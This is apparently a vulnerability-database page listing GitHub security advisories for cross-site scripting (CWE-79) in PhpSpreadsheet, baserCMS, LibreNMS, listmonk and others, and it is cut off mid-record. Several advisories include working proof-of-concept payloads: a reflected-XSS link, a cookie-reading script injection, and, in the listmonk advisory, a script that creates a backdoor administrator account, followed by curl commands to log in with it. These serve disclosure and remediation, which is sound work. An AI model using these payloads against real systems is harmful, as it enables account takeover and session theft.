Common Weakness Enumeration

CWE-79

Allowed

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Abstraction: Base · Status: Stable

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

68722 vulnerabilities reference this CWE, most recent first.

GHSA-JMPX-686V-C3WX

Vulnerability from github – Published: 2025-01-03 17:06 – Updated: 2025-03-06 18:21
VLAI
Summary
PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
Details

Unauthorized Reflected XSS in the constructor of the Downloader class

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/download.php script, an attacker can perform a XSS-type attack Impact: execution of arbitrary JavaScript code in the browser Vulnerable component: the constructor of the Downloader class Exploitation conditions: an unauthorized user Mitigation: sanitization of the name and type variables Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the Downloader class) in Phpspreadsheet.

The latest version (3.6.0) of the phpoffice/phpspreadsheet library was installed. The installation was carried out with the inclusion of examples.

Listing 1. Installing the phpoffice/phpspreadsheet library

$ composer require phpoffice/phpspreadsheet --prefer-source

The ./vendor/phpoffice/phpspreadsheet/samples/download.php file processes the GET parameters name and type.

fig1

Figure 1. The ./vendor/phpoffice/phpspreadsheet/samples/download.php file accepts GET parameters.

Consider the constructor of the Downloader class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.

fig2

Figure 2. Error is displayed without sanitization

When clicking on the following link, arbitrary JavaScript code will be executed.

Listing 2.

https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E&type=1

Demonstration of the execution of arbitrary JavaScript code.

fig3

Figure 3. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-56365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-03T17:06:05Z",
    "nvd_published_at": "2025-01-03T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "# Unauthorized Reflected XSS in the constructor of the `Downloader` class\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/download.php` script, an attacker can perform a XSS-type attack\n**Impact**: execution of arbitrary JavaScript code in the browser\n**Vulnerable component**: the constructor of the `Downloader` class\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `name` and `type` variables\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the `Downloader` class) in Phpspreadsheet.\n\nThe latest version (3.6.0) of the `phpoffice/phpspreadsheet` library was installed. The installation was carried out with the inclusion of examples.\n\n*Listing 1. Installing the `phpoffice/phpspreadsheet` library*\n```\n$ composer require phpoffice/phpspreadsheet --prefer-source\n```\n\nThe `./vendor/phpoffice/phpspreadsheet/samples/download.php` file processes the GET parameters `name` and `type`.\n\n![fig1](https://github.com/user-attachments/assets/78d5b3c7-e2ab-4487-98e2-a975f74a71c0)\n\n*Figure 1. The `./vendor/phpoffice/phpspreadsheet/samples/download.php` file accepts GET parameters.*\n\nConsider the constructor of the `Downloader` class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.\n\n![fig2](https://github.com/user-attachments/assets/00baf1f8-298c-4654-a3e4-b99cf8053eac)\n\n*Figure 2. Error is displayed without sanitization*\n\nWhen clicking on the following link, arbitrary JavaScript code will be executed.\n\n*Listing 2.*\n```\nhttps://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E\u0026type=1\n```\n\nDemonstration of the execution of arbitrary JavaScript code.\n\n\u003cimg width=\"537\" alt=\"fig3\" src=\"https://github.com/user-attachments/assets/745d6e21-396f-4357-8ff8-e856adf15fee\" /\u003e\n\n*Figure 3. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
  "id": "GHSA-jmpx-686v-c3wx",
  "modified": "2025-03-06T18:21:36Z",
  "published": "2025-01-03T17:06:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jmpx-686v-c3wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4#diff-fbb0f53a5c68eeeffaa9ab35552c0b01740396f1a4045af5d2935ec2a62a7816"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class"
}

GHSA-JMQ3-X8Q7-J9QM

Vulnerability from github – Published: 2026-03-31 22:43 – Updated: 2026-03-31 22:43
VLAI
Summary
baserCMS has a cross-site scripting vulnerability in blog posts
Details

baserCMS has a cross-site scripting vulnerability in blog posts.

Target

baserCMS 5.2.1 and earlier versions

Vulnerability

Malicious Javascript may be executed in blog posts.

Countermeasures

Update to the latest version of baserCMS

Please refer to the following page to reference for more information. https://basercms.net/security/JVN_20837860

Credits

Gai Tanaka@Mitsui Bussan Secure Directions, Inc.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "baserproject/basercms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:43:10Z",
    "nvd_published_at": "2026-03-31T01:16:36Z",
    "severity": "MODERATE"
  },
  "details": "baserCMS has a cross-site scripting vulnerability in blog posts.\n\n### Target\nbaserCMS 5.2.1 and earlier versions\n\n### Vulnerability\n\nMalicious Javascript may be executed in blog posts.\n\n### Countermeasures\nUpdate to the latest version of baserCMS\n\nPlease refer to the following page to reference for more information.\nhttps://basercms.net/security/JVN_20837860\n\n### Credits\n\nGai Tanaka@Mitsui Bussan Secure Directions, Inc.",
  "id": "GHSA-jmq3-x8q7-j9qm",
  "modified": "2026-03-31T22:43:10Z",
  "published": "2026-03-31T22:43:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/security/advisories/GHSA-jmq3-x8q7-j9qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30879"
    },
    {
      "type": "WEB",
      "url": "https://basercms.net/security/JVN_20837860"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/baserproject/basercms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/releases/tag/5.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "baserCMS has a cross-site scripting vulnerability in blog posts"
}

GHSA-JMQ8-P4R6-9R2C

Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-01 18:32
VLAI
Details

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in silverplugins217 Check Pincode For Woocommerce allows Reflected XSS.This issue affects Check Pincode For Woocommerce: from n/a through 1.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-13T15:15:40Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in silverplugins217 Check Pincode For Woocommerce allows Reflected XSS.This issue affects Check Pincode For Woocommerce: from n/a through 1.1.",
  "id": "GHSA-jmq8-p4r6-9r2c",
  "modified": "2026-04-01T18:32:46Z",
  "published": "2024-12-13T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54333"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/check-pincode-for-woocommerce/vulnerability/wordpress-check-pincode-for-woocommerce-plugin-1-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JMQF-469C-HWWP

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details

Cross Site Scripting (XSS) vulnerability in CMS Made Simple 2.2.14 in "Extra" via 'News > Article" feature.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-23241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-26T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross Site Scripting (XSS) vulnerability in CMS Made Simple 2.2.14 in \"Extra\" via \u0027News \u003e Article\" feature.",
  "id": "GHSA-jmqf-469c-hwwp",
  "modified": "2022-05-24T19:09:09Z",
  "published": "2022-05-24T19:09:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23241"
    },
    {
      "type": "WEB",
      "url": "http://dev.cmsmadesimple.org/bug/view/12322"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JMQG-77RM-WVW3

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

Tufin SecureTrack < R20-2 GA contains reflected + stored XSS (as in, the value is reflected back to the user, but is also stored within the DB and can be later triggered again by the same victim, or also later by different users). Both stored, and reflected payloads are triggerable by admin, so malicious non-authenticated user could get admin level access. Even malicious low-privileged user can inject XSS, which can be executed by admin, potentially elevating privileges and obtaining admin access. (issue 3 of 3)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-13409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-09T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Tufin SecureTrack \u003c R20-2 GA contains reflected + stored XSS (as in, the value is reflected back to the user, but is also stored within the DB and can be later triggered again by the same victim, or also later by different users). Both stored, and reflected payloads are triggerable by admin, so malicious non-authenticated user could get admin level access. Even malicious low-privileged user can inject XSS, which can be executed by admin, potentially elevating privileges and obtaining admin access. (issue 3 of 3)",
  "id": "GHSA-jmqg-77rm-wvw3",
  "modified": "2022-05-24T17:41:23Z",
  "published": "2022-05-24T17:41:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Accenture/AARO-Bugs/blob/master/AARO-CVE-List.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JMQM-F57P-26JW

Vulnerability from github – Published: 2023-11-16 00:30 – Updated: 2025-09-29 15:30
VLAI
Details

Cross Site Scripting vulnerability in Grocy v.4.0.3 allows a local attacker to execute arbitrary code and obtain sensitive information via the product description component in the api/stock/products endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-48198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-15T23:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Cross Site Scripting vulnerability in Grocy v.4.0.3 allows a local attacker to execute arbitrary code and obtain sensitive information via the product description component in the api/stock/products endpoint.",
  "id": "GHSA-jmqm-f57p-26jw",
  "modified": "2025-09-29T15:30:28Z",
  "published": "2023-11-16T00:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48198"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grocy/grocy"
    },
    {
      "type": "WEB",
      "url": "https://nitipoom-jar.github.io/CVE-2023-48198"
    },
    {
      "type": "WEB",
      "url": "https://nitipoom-jaroonchaipipat.github.io/security-research-portal/2023-48198"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JMQM-F8Q4-V7WX

Vulnerability from github – Published: 2026-08-12 15:16 – Updated: 2026-08-12 15:16
VLAI
Summary
LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment
Details

Summary

LegacyController.php:75 writes the page title into a document.title JS assignment using string interpolation. apps/proxmox.inc.php pushes $vars['instance'] and $vars['vmid'] (GET params, only strip_tags() applied) directly into $pagetitle. A single quote terminates the JS string, executing arbitrary script.

Details

// LegacyController.php:75
$html .= "<script>\ndocument.title = '$title';\n</script>";

// proxmox.inc.php:38,42
$pagetitle[] = $instance;     // GET ?instance=
$pagetitle[] = $vars['vmid']; // GET ?vmid=

PoC

http://target/apps?app=proxmox&instance=%27%3Balert%28document.cookie%29%3B//

Confirmed in response:
document.title = 'Apps - Proxmox - ';alert(document.cookie);// - LibreNMS';

Fix

// LegacyController.php:75
$html .= "<script>\ndocument.title = " . json_encode($title) . ";\n</script>";

Also wrap $instance and $vars['vmid'] in htmlspecialchars() in proxmox.inc.php.

Prerequisite

Any authenticated session. Victim must follow a crafted link.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 26.4.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45694"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T15:16:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`LegacyController.php:75` writes the page title into a `document.title` JS assignment using string interpolation. `apps/proxmox.inc.php` pushes `$vars[\u0027instance\u0027]` and `$vars[\u0027vmid\u0027]` (GET params, only `strip_tags()` applied) directly into `$pagetitle`. A single quote terminates the JS string, executing arbitrary script.\n\n### Details\n```php\n// LegacyController.php:75\n$html .= \"\u003cscript\u003e\\ndocument.title = \u0027$title\u0027;\\n\u003c/script\u003e\";\n\n// proxmox.inc.php:38,42\n$pagetitle[] = $instance;     // GET ?instance=\n$pagetitle[] = $vars[\u0027vmid\u0027]; // GET ?vmid=\n```\n\n### PoC\n```\nhttp://target/apps?app=proxmox\u0026instance=%27%3Balert%28document.cookie%29%3B//\n\nConfirmed in response:\ndocument.title = \u0027Apps - Proxmox - \u0027;alert(document.cookie);// - LibreNMS\u0027;\n```\n\n### Fix\n```php\n// LegacyController.php:75\n$html .= \"\u003cscript\u003e\\ndocument.title = \" . json_encode($title) . \";\\n\u003c/script\u003e\";\n```\nAlso wrap `$instance` and `$vars[\u0027vmid\u0027]` in `htmlspecialchars()` in proxmox.inc.php.\n\n### Prerequisite\nAny authenticated session. Victim must follow a crafted link.",
  "id": "GHSA-jmqm-f8q4-v7wx",
  "modified": "2026-08-12T15:16:22Z",
  "published": "2026-08-12T15:16:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-jmqm-f8q4-v7wx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment"
}

GHSA-JMQM-VPW7-FJ9F

Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28
VLAI
Details

Cross-site scripting (XSS) vulnerability in admin/index.html in Merak IceWarp Mail Server allows remote attackers to inject arbitrary web script or HTML via the message parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-0218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-10T23:46:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in admin/index.html in Merak IceWarp Mail Server allows remote attackers to inject arbitrary web script or HTML via the message parameter.  NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
  "id": "GHSA-jmqm-vpw7-fj9f",
  "modified": "2022-05-01T23:28:27Z",
  "published": "2022-05-01T23:28:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0218"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39564"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28460"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27189"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/data/vulnerabilities/exploits/27189.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0135"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JMQP-G8HX-FQQC

Vulnerability from github – Published: 2022-05-14 02:41 – Updated: 2022-05-14 02:41
VLAI
Details

Cross-site scripting (XSS) vulnerability in admin.php in ecoCMS allows remote attackers to inject arbitrary web script or HTML via the p parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-5046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-11-23T01:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in admin.php in ecoCMS allows remote attackers to inject arbitrary web script or HTML via the p parameter.",
  "id": "GHSA-jmqp-g8hx-fqqc",
  "modified": "2022-05-14T02:41:53Z",
  "published": "2022-05-14T02:41:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-5046"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/58335"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/64308"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/1005-exploits/ecocms-xss.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/39678"
    },
    {
      "type": "WEB",
      "url": "http://www.htbridge.ch/advisory/xss_in_ecocms.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/511117/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/39901"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JMR4-P576-V565

Vulnerability from github – Published: 2026-01-02 23:04 – Updated: 2026-01-02 23:04
VLAI
Summary
listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover
Details

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting


Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.


Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.


Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

  1. Attacker creates campaign with XSS payload
  2. Request is made to super admin: "Please review my newsletter draft"
  3. Super admin opens campaign and clicks Preview
  4. XSS executes → Backdoor admin account created
  5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

  1. Attacker creates campaign with XSS payload
  2. Attacker enables Archive for the campaign
  3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
  4. Super admin visits the link (no preview click needed!)
  5. XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: 'backdoor@evil.com', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

  1. Edit campaign settings
  2. Enable "Archive"
  3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview: - Send campaign to super admin for "review" - Super admin previews → XSS fires

Option B - Archive Link: - Share archive URL with super admin - Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign] Screenshot 2025-12-27 170259

[Screenshot 2: Super admin previewing campaign] image

[Screenshot 3: Backdoor user successfully created] Screenshot 2025-12-27 170413


Impact

Action Possible via XSS
Create backdoor admin ✅ Yes
Export all subscribers ✅ Yes
Modify SMTP settings ✅ Yes
Delete all campaigns ✅ Yes
Access API keys/secrets ✅ Yes

Affected Components

Component XSS Works? Method
Campaign body (Raw HTML) ✅ Yes Direct <script> tag
Campaign body (Template) ✅ Yes {{ \ ` | Safe }}`
Template body ✅ Yes Both methods
Campaign archive ✅ Yes Automatic execution on visit

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/knadh/listmonk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.1"
            },
            {
              "fixed": "6.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/knadh/listmonk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1-0.20251231125615-74dc5a01cfbb"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T23:04:15Z",
    "nvd_published_at": "2026-01-02T21:16:03Z",
    "severity": "MODERATE"
  },
  "details": "## Security Advisory: Stored XSS Leading to Admin Account Takeover\n\n**Affected Versions:** \u2264 5.1.0  \n**Vulnerability Type:** CWE-79: Stored Cross-Site Scripting  \n\n---\n\n## Summary\n\nA lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.\n\nThe attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.\n\n---\n\n## Required Attacker Permissions\n\n```\ncampaigns:manage    - Create/edit campaigns\ncampaigns:get       - View campaigns  \nlists:get_all       - Access lists\ntemplates:get       - Access templates\n```\n\n**Note:** These are common permissions for content managers who are not full admins.\n\n---\n\n## Attack Vectors\n\n### Vector 1: Raw HTML (Direct Script Tag)\n\n```html\n\u003cscript\u003e\nfetch(\u0027/api/users\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  credentials: \u0027include\u0027,\n  body: \u0027{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}\u0027\n});\n\u003c/script\u003e\n```\n\n### Vector 2: Go Template `Safe` Function\n\n```\n{{ `\u003cscript\u003efetch(\u0027/api/users\u0027,{method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027},credentials:\u0027include\u0027,body:\u0027{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}\u0027});\u003c/script\u003e` | Safe }}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Campaign Preview Attack\n\n1. Attacker creates campaign with XSS payload\n2. Request is made to super admin: *\"Please review my newsletter draft\"*\n3. Super admin opens campaign and clicks **Preview**\n4. XSS executes \u2192 Backdoor admin account created\n5. Attacker logs in with `backdoor` / `Hacked123`\n\n### Scenario 2: Archive Link Attack (No Click Required)\n\n1. Attacker creates campaign with XSS payload\n2. Attacker enables **Archive** for the campaign\n3. Attacker shares archive link: `http://localhost:9000/archive/{uuid}`\n4. Super admin visits the link (no preview click needed!)\n5. XSS executes automatically \u2192 Account takeover\n\n---\n\n## Proof of Concept\n\n### Step 1: Create Malicious Campaign\n\nAs lower-privileged user, create campaign with body:\n```html\n\u003cscript\u003e\nfetch(\u0027/api/users\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  